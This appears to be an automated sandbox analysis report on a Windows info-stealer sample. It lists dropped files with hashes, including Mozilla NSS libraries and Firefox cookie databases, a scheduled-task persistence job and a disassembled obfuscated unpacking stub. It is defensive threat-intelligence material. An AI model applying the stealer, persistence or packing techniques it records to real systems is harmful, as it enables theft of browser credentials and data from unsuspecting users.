SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\amadka[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1905152
Entropy (8bit):	7.949859321883604
Encrypted:	false
SSDEEP:	49152:c55LoF72Nn18yuj7WhOlXtxPV93By4MMkmuQ6Sn6vdY2ii:c5I2N18yOYO1PtxMki
MD5:	442753C1A170187760A45DAF83847861
SHA1:	4F1E0FE9496732AF47366AF6CA3C113E363EC4A3
SHA-256:	7949EF0F6358018C2C9DB23078E0758580C6B9F95F99B00A58FEB1946702DE01
SHA-512:	76D4AD0B94F3E8CCA8104B1C02BDD290392731CA658FACBD05A328076125767B51BB800574792D26566F31E3C86E0E59549FDA28768459A4208A12777DDD2385
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af.............................pK...........@...........................K.....:.....@.................................X...l............................WK.............................LWK..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...rqnxqxgu.....`1.....................@...iottqqkv.....`K.....................@....taggant.0...pK.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	2533376
Entropy (8bit):	7.9812843211727
Encrypted:	false
SSDEEP:	49152:pqWh2IObsWxZQvQ1qtLL7ZVb3g7jj5HPfNN90FcCxJW/m:N2IObswctv8PlHPf6xE
MD5:	541A32FE5AC6B171816E5A05E1ADBF5E
SHA1:	BBE86E87370C676843E6D5B4215D5B8A52847939
SHA-256:	B67D10E83AE21E308815E08D8412DA53DD3B038D7D8905218AEBB19302FFE146
SHA-512:	17A11D430C067B51F12D79D2FFC7B6D58790375CEB65DBDB9B6935FA40C36D232E87B9DC8B890CBF0816FB4B703C9221D687A824CB6EC959CEEC6B508A2B0372
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L....A.f......................!.....(.............@.......................................@... .. .... .. .......... `......,o...............................`..........................................................................................................................@....................@..................@............0!..@......................@............P...p#.. ..................@............px...#..(..................@....data....."..0...t"..4..............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2533376
Entropy (8bit):	7.9812843211727
Encrypted:	false
SSDEEP:	49152:pqWh2IObsWxZQvQ1qtLL7ZVb3g7jj5HPfNN90FcCxJW/m:N2IObswctv8PlHPf6xE
MD5:	541A32FE5AC6B171816E5A05E1ADBF5E
SHA1:	BBE86E87370C676843E6D5B4215D5B8A52847939
SHA-256:	B67D10E83AE21E308815E08D8412DA53DD3B038D7D8905218AEBB19302FFE146
SHA-512:	17A11D430C067B51F12D79D2FFC7B6D58790375CEB65DBDB9B6935FA40C36D232E87B9DC8B890CBF0816FB4B703C9221D687A824CB6EC959CEEC6B508A2B0372
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L....A.f......................!.....(.............@.......................................@... .. .... .. .......... `......,o...............................`..........................................................................................................................@....................@..................@............0!..@......................@............P...p#.. ..................@............px...#..(..................@....data....."..0...t"..4..............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1905152
Entropy (8bit):	7.949859321883604
Encrypted:	false
SSDEEP:	49152:c55LoF72Nn18yuj7WhOlXtxPV93By4MMkmuQ6Sn6vdY2ii:c5I2N18yOYO1PtxMki
MD5:	442753C1A170187760A45DAF83847861
SHA1:	4F1E0FE9496732AF47366AF6CA3C113E363EC4A3
SHA-256:	7949EF0F6358018C2C9DB23078E0758580C6B9F95F99B00A58FEB1946702DE01
SHA-512:	76D4AD0B94F3E8CCA8104B1C02BDD290392731CA658FACBD05A328076125767B51BB800574792D26566F31E3C86E0E59549FDA28768459A4208A12777DDD2385
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af.............................pK...........@...........................K.....:.....@.................................X...l............................WK.............................LWK..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...rqnxqxgu.....`1.....................@...iottqqkv.....`K.....................@....taggant.0...pK.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1905152
Entropy (8bit):	7.949859321883604
Encrypted:	false
SSDEEP:	49152:c55LoF72Nn18yuj7WhOlXtxPV93By4MMkmuQ6Sn6vdY2ii:c5I2N18yOYO1PtxMki
MD5:	442753C1A170187760A45DAF83847861
SHA1:	4F1E0FE9496732AF47366AF6CA3C113E363EC4A3
SHA-256:	7949EF0F6358018C2C9DB23078E0758580C6B9F95F99B00A58FEB1946702DE01
SHA-512:	76D4AD0B94F3E8CCA8104B1C02BDD290392731CA658FACBD05A328076125767B51BB800574792D26566F31E3C86E0E59549FDA28768459A4208A12777DDD2385
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af.............................pK...........@...........................K.....:.....@.................................X...l............................WK.............................LWK..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...rqnxqxgu.....`1.....................@...iottqqkv.....`K.....................@....taggant.0...pK.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\explorti.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe
File Type:	data
Category:	dropped
Size (bytes):	310
Entropy (8bit):	3.5550655169498397
Encrypted:	false
SSDEEP:	6:3S4UjwXpJUEZ+lX1QYShMl6lm6tcVAkXIEZ8MlW8+y0l1/Tt0:iepJQ13vgFkXd8kX+V1rt0
MD5:	EC05453E011BEB3396B9C59B56CE6C46
SHA1:	CB67870D2F621BD6EB576AFA160F4728FA7B268B
SHA-256:	666C277A22A02F2A088C9FC34213FDF8B3F1D7EADDB17F7936347227055C4EF3
SHA-512:	AF8917399564C2C4F41E20BCEBF395AB3E777C16720ABEC52D87366B76EDCF92C1D9AD6CE3068689A184E0252FE4C336146012D8CA1D543C2C27F2276D95FEF8
Malicious:	false
Preview:	....).WN..jH.v.}p..+F.......<... .....s.......... ....................=.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.d.4.0.9.7.1.b.6.b.\.e.x.p.l.o.r.t.i...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0...................@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.413972535830134
Encrypted:	false
SSDEEP:	6144:Zcifpi6ceLPL9skLmb0moSWSPtaJG8nAgex285i2MMhA20X4WABlGuNb5+:Gi58oSWIZBk2MM6AFBZo
MD5:	D7F6B03DC5655872B7CA50300A821AD4
SHA1:	EE6218330A82091C0997F5B9B84F60E4F0DF491C
SHA-256:	5CDBA5BDF2FE92FB24F8E578A6837E85009890A4DD318F1B55132689440E0037
SHA-512:	A99233E3F3DF6AB3970C467DE7CD4C6B5C85F38C27FBA47461D2738C3F17BE0A8DF1C7AFA7208E1880DA3A1DCB5A368EE27FD9062F61B954F3D8B4B8057C0CD5
Malicious:	false
Preview:	regfE...E....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.IS.i...............................................................................................................................................................................................................................................................................................................................................M.E.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9812843211727
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'533'376 bytes
MD5:	541a32fe5ac6b171816e5a05e1adbf5e
SHA1:	bbe86e87370c676843e6d5b4215d5b8a52847939
SHA256:	b67d10e83ae21e308815e08d8412da53dd3b038d7d8905218aebb19302ffe146
SHA512:	17a11d430c067b51f12d79d2ffc7b6d58790375ceb65dbdb9b6935fa40c36d232e87b9dc8b890cbf0816fb4b703c9221d687a824cb6ec959ceec6b508a2b0372
SSDEEP:	49152:pqWh2IObsWxZQvQ1qtLL7ZVb3g7jj5HPfNN90FcCxJW/m:N2IObswctv8PlHPf6xE
TLSH:	76C533F332B23142D36644B64246F79E6CA88475C1AB8ED4DDA836341F3B38B9D68CD5
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xfe8e28
Entrypoint Section:	.data
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x668341F6 [Mon Jul 1 23:55:34 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	001806c33a6e9fe5fbff34bdbd79b591

Entrypoint Preview

Instruction
jmp 00007F028C4F75AAh
add byte ptr [esp+eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax-18h], ah
add byte ptr [eax], al
add byte ptr [eax], al
pop ebp
sub ebp, 00000010h
sub ebp, 00BE8E28h
jmp 00007F028C4F75A9h
cli
imul esp, eax, 8E28B8B1h
mov esi, 81C50300h
ror byte ptr [eax+eax+00h], 00000000h
mov ecx, 000005DDh
mov edx, 23891588h
xor byte ptr [eax], dl
inc eax
dec ecx
jne 00007F028C4F759Ch
jmp 00007F028C4F75A9h
outsd
cmc
push edi
fild word ptr [ebx]
inc ebp
add eax, dword ptr [ecx]
mov ah, 88h
mov byte ptr [eax-778FB6F7h], cl
mov byte ptr [eax-73CFBA75h], cl
mov byte ptr [eax-775FCD78h], cl
mov byte ptr [eax+408B6A7Fh], cl
add ecx, dword ptr [ecx]
test byte ptr [eax+4D8B8888h], cl
add eax, 0174ACECh
mov word ptr [eax+ebx*8-568E2720h], gs
mov al, ah
pop esi
sbb al, 14h
mov byte ptr [ecx-0F1F535Ch], cl
cmp byte ptr [eax], dl
sbb esp, dword ptr [eax-73h]
mov byte ptr [eax-775D9E78h], cl
mov byte ptr [eax-531BFA23h], cl
mov byte ptr [ebx], al
or eax, 88888880h
add ebx, dword ptr [88888884h]
add eax, dword ptr [88888898h]
dec ecx
popad
mov bh, byte ptr [ecx-73B5F476h]
rol dword ptr [edi+77777C0Dh], 77h
aad 4Ah
test byte ptr [eax-7353FBFDh], cl

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x9c6020	0xf0c	.data
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9c6f2c	0x20c	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x9c6000	0xc	.data
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x1b000	0xa400	a1def92e2b321ad92045df4fb33fc8ac	False	0.9997141768292683	data	7.994679358899897	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x1c000	0x8000	0x4000	88078bfee65965704bc8e861c1a777a6	False	0.99530029296875	data	7.982552512053466	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24000	0x213000	0x400	abb45ab4b46470c1e00aee1a8ff80bb5	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x237000	0x5000	0x2000	9579671a5eed470abb5d94dad33007db	False	0.989990234375	data	7.9548906843608895	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x23c000	0x787000	0x32800	9a1b6966dcbf61ee861d38d15a683a6d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data	0x9c3000	0x228000	0x227400	12f09fdc86f757da09de46b65c9ea674	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	GetModuleHandleA, GetProcAddress, ExitProcess, LoadLibraryA
user32.dll	MessageBoxA
advapi32.dll	RegCloseKey
oleaut32.dll	SysFreeString
gdi32.dll	CreateFontA
shell32.dll	ShellExecuteA
version.dll	GetFileVersionInfoA
msvcrt.dll	strncpy

Network Behavior

Snort IDS Alerts

